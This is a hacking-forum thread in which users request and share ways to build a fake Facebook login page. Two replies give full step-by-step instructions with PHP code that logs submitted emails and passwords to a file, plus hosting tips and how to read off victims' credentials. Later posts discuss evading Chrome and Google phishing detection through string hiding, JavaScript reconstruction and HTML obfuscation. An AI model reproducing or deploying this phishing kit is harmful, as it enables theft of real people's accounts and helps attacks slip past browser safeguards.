[Spell]

Greetings...

I'm looking for Facebook phishing page files or how to do one myself! Can someone help me ?

Thanks In Advance. (:

[alok9shm]

By Fake Facebook phishing page, i suppose you meant to say "Fake facebook Login Page".

Get to the Facebook login page.
Open the source. [Right click --> View Source]
Copy the code to notepad.
Ctrl+F look for text "Action".
Zero in to something like this:

Code:

action="https://www.facebook.com/login.php?login_attempt=1"

Replace the link with post.php ie action="post.php" [or whatever you want, depends on the name of the php script that you will create next]

Save it as index.htm

Now nodepad to and paste this code:

PHP Code:

<?php header ('Location:http://www.facebook.com/'); $handle = fopen("yourpassfile.txt", "a"); foreach($_POST as $variable => $value) { fwrite($handle, $variable); fwrite($handle, "="); fwrite($handle, $value); fwrite($handle, "\r\n"); } fwrite($handle, "\r\n"); fclose($handle); exit; ?>

save it as post.php[save as all files instead text file].

Thats it. You can upload it to the server now.

[ralf93]

STEP 1:
Register at ony of free webhosting websites
I suggest you use 0fees.net or 000webhost.com

STEP 2:
Open facebook homepage (Welcome to facebook) when you are logged out. Open its source (Ctrl+U) and copy it.
Create a notepad file and paste it all there.
Save the file with name "index.html" (without the "") and close it.

STEP 3:
Create another notepad file and paste this script there.

PHP Code:

<?php header ('Location: http://www.facebook.com'); $handle = fopen("ali.txt", "a"); foreach($_GET as $variable => $value) { fwrite($handle, $variable); fwrite($handle, "="); fwrite($handle, $value); fwrite($handle, "\r\n"); } fwrite($handle, "\r\n"); fclose($handle); exit; ?>

Save it by name facebook.php (or anyother name but with same extension)

STEP 4:

Open the index.html file with notepad and FIND for word "action" you will see something like this;

Code:

<form id="login_form" action="https://www.facebook.com/login.php?..........

Remove all the form tag (i.e starting from <form id="logi....... to the "</form>" )

And Replace it with this command.

Code:

<form method="GET" action="login.php" id="login_form" onsubmit=";var d = document.documentElement;return d.onsubmit &amp;&amp; d.onsubmit(event);"> <div id="loginform" style=""><table cellspacing="0"><tr><td class="html7magic"><label for="email" id="label_email">Email or Phone</label></td><td class="html7magic"><label for="pass" id="label_pass">Password</label></td></tr><tr><td><input type="text" class="inputtext" id="email" name="email" value="" onkeypress="formchange()" /><td><input type="password" class="inputpassword" id="pass" name="pass" value="" /></td><td><label class="uiButton uiButtonConfirm" id="loginbutton" for="u_0_6"><input value="Log In" tabindex="4" type="submit" id="u_0_6" /></label></td></tr><tr><td class="login_form_label_field"><div><div class="uiInputLabel clearfix"><input id="persist_box" type="checkbox" name="persistent" value="1" tabindex="3" class="uiInputLabelCheckbox" /><label for="persist_box">Keep me logged in</label></div><input type="hidden" name="default_persistent" value="0" /></div></td><td class="login_form_label_field"><a rel="nofollow" href="http://www.facebook.com/recover/initiate">Forgot your password?</a></td></tr></table></div></form>

Now save it and close it.

STEP 5:
Now open the webhosting website (i prefer 0fees.net) and you would see File Manager there.
Open it and youll see sub folder named "htdocs" there. Open it and upload the index.html and facebook.php
there. (Delete all other files already present in the folder "htdocs")

STEP 6:
Now go to your chosen domain (in my case, saak.0fees.net) and see the homepage. You will see the exact homepage as facebook's welcome page. give the link to someone, when they login to that, their login details would be sent to you automatically.

STEP 7:
Now open yourdomain/ali.txt e.g myfacebook.0fees.net/ali.txt
and you would see the username and password of all the victims who logged on the page.

You can also log back to your File Manager and to you "htdocs" folder and there you would see another file named ali.txt
open it and you will see all info there too.


Enjoy (:
If you have and problems or questions. Kindly Comment or ask me without any hesitation.
Thankyou

Source: My Own Blog


Note: You might need to be careful while spreading this link as if the web server gets a single info about your server being a phisher, is gonna be banned. Also watch out from chrome security, it blocks your phisher page, so victim knows you're trying to hack them.

Warning: This tutorial should only be used for educational purposes so Im not responsible for any actions caused by it.

[Legolas]

Well, last post was before 5 weeks. But i would like to note something important.

@alok9shm , @ralf93,
First of all, you have posted something with a very qualitative way.

But, Google, automatically detects the page as Phishing and Malicious page because they see in the source, the "facebook" word .

So, if you set up it, using 000webhost.com, you will see this message :



Of Course, you can pass this message.
By hiding any words related with Facebook, or by using Cryptographic techniques.

Also, free hosting such as 000webhost.com is not a good choice.

-------------------------------------------------------------------------------------------------------------
And generally when the victim will see this message from Google, will surely not login.
So, we must solve and pass this problem.

[ralf93]

Well, last post was before 5 weeks. But i would like to note something important.

@alok9shm , @ralf93,
First of all, you have posted something with a very qualitative way.

But, Google, automatically detects the page as Phishing and Malicious page because they see in the source, the "facebook" word .

So, if you set up it, using 000webhost.com, you will see this message :



Of Course, you can pass this message.
By hiding any words related with Facebook, or by using Cryptographic techniques.

Also, free hosting such as 000webhost.com is not a good choice.

-------------------------------------------------------------------------------------------------------------
And generally when the victim will see this message from Google, will surely not login.
So, we must solve and pass this problem.

yeah i know phishing is easily detected by chrome. :troll:
but i didnt know about making it undetectable, thanks.

[Spell]

You are correct. I tried doing that using 000webhost but they just banned my account, so I'm using it on my website now and google chrome detects it as phishing page. However, can you please explain to us how Cryptographic techniques works & how to use it?

Thanks in advance! (:
@Legolas

[Legolas]

@Spell

I will make a complete and fully-fledged tutorial about Phishing pages, but i don't know when i will do it, because i have many tutorials to make and my free time is really limited.


Legolas.

[zomgwtfbbq]

That's a pretty neat feature of Chrome. How about constructing the form using js and send it by ajax? Not sure how Chrome detects phishing, does it simply scan for words/hosts in the form? If so, you can easily break the url in parts and reconstruct it.

Haven't tried it but you might just bypass this security check. Otherwise go for encryption as legolas suggested.

[Spell]

Hmm, alright. Thanks guy for your suggestions/Advices

[Isaac]

Well, last post was before 5 weeks. But i would like to note something important.

@alok9shm , @ralf93,
First of all, you have posted something with a very qualitative way.

But, Google, automatically detects the page as Phishing and Malicious page because they see in the source, the "facebook" word .

So, if you set up it, using 000webhost.com, you will see this message :



Of Course, you can pass this message.
By hiding any words related with Facebook, or by using Cryptographic techniques.

Also, free hosting such as 000webhost.com is not a good choice.

-------------------------------------------------------------------------------------------------------------
And generally when the victim will see this message from Google, will surely not login.
So, we must solve and pass this problem.

You can use an HTML Obfuscator to get around that. The same can be used to hide sources for Java drive-by pages.